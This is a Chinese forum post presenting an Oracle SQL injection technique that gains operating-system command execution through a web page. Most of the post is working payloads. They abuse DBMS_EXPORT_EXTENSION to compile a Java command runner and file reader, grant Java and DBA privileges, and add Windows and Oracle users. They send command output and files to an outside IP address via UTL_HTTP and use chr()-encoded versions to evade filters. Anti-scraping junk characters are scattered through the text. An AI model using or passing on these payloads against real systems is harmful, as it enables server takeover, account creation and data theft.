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标题: 犀利的 oracle 注入技术 [打印本页]

作者: admin    时间: 2012-9-13 16:49
标题: 犀利的 oracle 注入技术
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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。) S+ _+ w% p& Y8 v! }
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)' N% O) s  l  ^6 k% ^$ F5 f

1 j' h8 q' N7 x8 k, e4 j" c4 I的形式即可。(用" 'a'|| "是为了让语句返回true值)
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8 \1 U& f3 ~9 ?; @& f4 K语句有点长,可能要用post提交。
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& A9 @* x7 m/ [) J' \  W% ^以下是各个步骤:
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1.创建包4 B( c) M8 g/ n0 e4 t: L% x3 M& N
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" L* u7 R! S' y; }8 Ecreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(; n& ?& z( W$ D
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}- k2 q( k0 j0 |# V( P/ z
}'''';END;'';END;--','SYS',0,'1',0) from dual
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如果url有长度限制,可以把readFile()函数块去掉,即:
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( D' }" y7 A5 u' H% T) p! aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 X! z# {( q$ x; X) F2 S6 O3 screate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
) H/ ]( E) I3 \% L  Dnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
2 r2 z, Q( z& `9 n}'''';END;'';END;--','SYS',0,'1',0) from dual
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) O2 D9 \) P5 `: k/ }同时把后面步骤 提到的 对readFile()的处理语句去掉。
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( D- p3 Z% x2 K' S; Z# N; Y2.赋Java权限/ i, a3 `. B  S# t) ?8 {
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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/ {4 V. m4 ]% A, C1 G7 ]3.创建函数
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% w# _; y. f( x# Z6 G" c  l* ^" W
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual6 |2 S, N4 ~# k2 p) g
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% f0 a& d+ P0 I5 c7 {0 ?
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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+ ]$ K; C' f. d. c9 {9 p4.赋public执行函数的权限
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$ t  [, w' R0 bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual: l. @6 Q8 o# ~) P' c2 N" @

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5.测试上面的几步是否成功
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& \$ `3 m$ q7 a3 u& O; g4 b- n) cselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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0 _( A0 q. L) g- ~6.执行命令:1 {1 i/ l0 M, k; [& L

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select sys.LinxRunCMD('cmd /c net user linx /add') from dual, X) _: ^0 _# y& [, s
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' X, @% N0 x4 Q" o& m$ x3 Aselect sys.LinxReadFile('c:/boot.ini') from dual3 Z6 n" N0 d% ?! Z& t
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5 j0 B- h. \! ]4 t6 u4 Z注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。( t* s( D4 x6 q3 o1 U
如果要查看运行结果可以用 union :
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual- f2 w" n1 o; R

4 ?( l4 w' n% @0 P或者UTL_HTTP.request(:
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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/xxx.jsp?id=1 and '1'<>(
$ J3 `% ]* `* a4 |SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual8 X+ k5 K* y4 n0 k* C
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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6.内部变化
6 P7 r% r, ?. P- w. ~$ \& S通过以下命令可以查看all_objects表达改变:
/ S, k% s( \/ c' {9 E0 E% aselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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" B2 f4 d  v3 H8 M8 [: k5 |7 I7.删除我们创建的函数3 v& t$ @# ]( u; X, z) j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  _, [7 O6 Q" I- ^3 T' Tdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual: Q* o" y; n/ p& B- r+ k
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全文结束。谨以此文赠与我的朋友。
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2008.1.127 H0 _7 t& D7 ]4 [
linyujian@bjfu.edu.cn. U( ?/ W5 ]: T- Y) m
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测试漏洞的另一方法:* a' r) i% U3 J4 U* |* F4 n9 y

" ]& P( c! C, }& I创建oracle帐号:
4 w2 D% e4 n9 P/ J1 ^0 o* p; Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! T8 ^. Q- K% m8 R6 T! VCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual/ d: w, n+ E" T- V8 S
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即:; y) t4 A1 h+ H
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),5 Q0 X9 |: J$ C( F
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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0 {( [( q5 J) k. j- r9 L! J确定漏洞存在:
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( @; {8 X1 [7 @. X" c8 mselect user_id from all_users where username='LINXSQL'
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9 T1 ~% v" D" d) B给linxsql连接权限:
( T* ]( k% b7 P6 \0 [+ f% ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', ~" G- [  c  @! X
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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# R7 r- c, V  s6 _4 E删除帐号:
- C7 C" Q8 N, C3 ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 J- n% `7 R2 r6 e, ^
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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2 d6 b% b2 W! d% J======================
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:' `9 a6 p6 }; w5 E- d( {0 f7 Y

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3 f7 @6 X  f3 ~  K) X0 d1 }select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% H+ r9 u( k) C2 |1 H
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual1 k! M5 r7 F! t; ~7 S! K
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( ?) `, D% h2 j8 n, m- n1.jsp?id=1 and '1'<>(: d- @, r% C! L) U  e3 a# x: h" j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
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1.jsp?id=1 and '1'<>(- C6 q: G# n! X: W& U! f2 g- ~7 O
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
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SELECT sys.Linx_Query('declare pragma0 i( k1 [" Y* _* ?* e1 i3 X
autonomous_transaction; begin execute immediate ''
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''; commit; end;') from dual! O' A* `8 V$ q  m5 E, ?
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多语句:9 f! z1 e) f% D! l, S, f
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual9 e. g& E0 F  N8 L! K9 n1 a
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创建用户(除非当前用户有system权限,否则无法成功):
) b9 U4 I" v' Y$ j. Z/ B. W# @SELECT sys.Linx_Query('declare pragma4 ^+ b- F( r( y3 E
autonomous_transaction; begin execute immediate ''
! w% z7 v% Y# Z  \$ X8 d% tCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User1 i( O2 j+ [( ?
''; commit; end;') from dual4 \+ A. M5 }  x7 e! P, M

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以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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# r7 [8 ^8 \: V  m6 e) q1.创建函数
) m. \. ]' @8 @; mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', b" `; i8 y  o$ h/ R4 h* ?, k
create or replace function Linx_Query (p/ H" L& r3 D  F: \8 P* F4 ~/ n1 V6 P
varchar2) return number authid current_user is begin execute immediate) h6 T+ [2 g' X/ G+ v
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
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6 U4 e2 H5 q) J2 \+ \! `( V' u% |如果有权限,以下语句应该允许正常
; Y  f) A* Y1 lselect sys.linx_query('select 1 from dual') from dual;' e. u( s4 y- Q5 S) \
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不然的话运行:/ k5 C' d, n+ U* O" I
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', w' n, j" k$ W. F  D
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual1 P5 A1 Q' k: G; i, H
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2.创建包
3 l  i# e7 s; ^# b1 a& ASELECT sys.Linx_Query('declare pragma+ s4 k3 j5 y0 [
autonomous_transaction; begin execute immediate ''
: W1 N7 ~' u5 f3 A) s& h- |; Ncreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
1 E% r$ c$ a& p! \2 t. Lnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
, P7 ?8 B/ D" C* z" V% M4 T1 }4 p
$ V% E; q5 `5 v: f: L) {: a3.创建函数1 b: |2 @4 u. z4 A/ [
SELECT sys.Linx_Query('declare pragma) w: Y* w+ G/ c* d' ~' g$ r2 D
autonomous_transaction; begin execute immediate ''
+ e+ f1 P7 S2 Kcreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
0 o& g0 [# O. i. |; x1 A" }
$ Q2 t0 [6 D5 r; X+ I4.给权限
0 H7 z2 j. e9 S# `0 m9 h给用户SYSTEM执行权限:% X: ~5 h6 Y( T0 u  M
4 `8 _) d% R# Q8 T. C
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
2 X- ^4 Z& M5 ?' I/ R4 d2 `7 c' a1 g3 u
$ i. D' e' a8 H
. {  d6 f& b1 c! M) ]
5.执行函数: f+ e! o+ J0 z2 r  F  i
select RunCMD2('cmd /c dir') from dual2 D7 w0 j1 Q6 y( a! h

) n$ Q; b) _# @; X8 H+ }7 q9 j! h8 [
. a$ y/ b6 e% {& b9 b& |8 T1 l( a' [

7 x7 u1 z2 d. V9 h% S9 E* p& x2 \. \4 u
==================
/ y& ?; Z$ ?$ v" H- Y================================
+ M4 d4 N- }" B1 e" B5 Q$ O* q% @# a- F: o; f; ^7 y; r  y
以下是无 " ' " 版:
8 b/ B) {, W: Y: z
: ~6 ^, U7 b( W" `$ j& B以下是各个步骤:
- {, R; i5 n, G+ V! q: U4 ~/ B5 ]
# X# i0 |1 C! k2 s" E1 T8 k1.创建包/ n8 }# }7 [+ L  ?
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:' N7 Q3 ]. a4 {# N3 |/ ~3 ~% L
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:- Z! Q3 W1 F; c$ y! w

) Z3 X0 n3 N7 l9 w1 I4 C8 n9 X" N/xxx.jsp?id=1 and chr(49)<>chr(50)||(* q2 _5 m9 _" _3 f/ D2 g2 W
4 N; h- ~( e- F
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
: @0 h1 ~8 n& M3 L# L# Pchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||4 q& Z& O! U$ h$ t' I
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||1 B! O& u, ~( `9 h
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||/ y" w' U" [# O/ ?
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||5 t/ j' T  o2 K5 |$ H. Q( H4 `
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
! r% U1 l1 \2 a7 R" {* J) N% A' Bchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||: N+ i3 T: S9 m4 V5 [' J; Q) X
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
6 F! }6 |  _$ G% X- D, a  n# Ochr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||; G# a3 @3 Q9 H) D
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
% }. m% F. ?7 f% w2 `# a4 n  Fchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||3 t. i9 l+ L5 B; H
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||! ^5 J( T) R  \. N
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||, y6 e2 S, j2 q$ B
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
* S  e9 W3 F( p4 B+ Xchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
  P0 u+ g4 D* N" ]! ]4 N% y& kchr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
' A; J. h5 S" S# tchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
' y. v: G% l1 Q1 K  Hchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
, }6 n; X+ T* T8 v# _( w$ I6 ~chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
3 W! n2 J. u9 z6 d4 j/ B" ?- a7 Schr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
" R& o: G" I; M( x' a8 qchr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||# d3 ~# |8 u9 ]
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||% {( [- M. S' v6 w
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||; t$ |2 N" |) X2 X$ e+ I) r( Y
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
) q  v7 _4 i& `3 cchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
3 T9 R$ }9 S5 J2 e; Mchr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||3 B  i/ x1 f- h, y6 n: Q
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||3 c; t, w, S1 v) ~& g
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
) b- F. D( P2 `0 g' Qchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
